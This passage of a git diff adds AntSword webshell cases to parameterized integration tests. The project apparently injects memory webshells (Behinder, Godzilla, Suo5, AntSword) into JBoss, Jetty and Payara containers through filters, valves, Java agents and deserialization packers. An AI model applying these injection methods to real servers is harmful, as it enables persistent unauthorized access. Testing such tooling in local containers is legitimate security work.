+70,13 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 43d6f9ce..9b441473 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -49,17 +49,22 @@ public class Jboss711ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index ce9c283e..e3c87a7c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -46,17 +46,22 @@ public class JbossEap6ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index b4b19ffb..0f708c37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -51,6 +51,8 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index ad04a559..1324920d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -49,6 +49,8 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +59,8 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -64,7 +68,9 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 9a5f1e87..a94d4c02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar) + ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index a396ea92..6e816020 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,12 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index bf86d5b4..3be0ade5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -51,6 +51,8 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 35d915d2..2ecc3d63 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 8b1a417a..6ad50a5e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index adb5b2b0..282c147b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.glassfishPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Payara5201ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -53,6 +55,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), @@ -65,6 +70,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), @@ -76,7 +84,18 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -89,6 +108,6 @@ public class Payara5201ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 42c0962f..630eab40 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.glassfishPid; import static 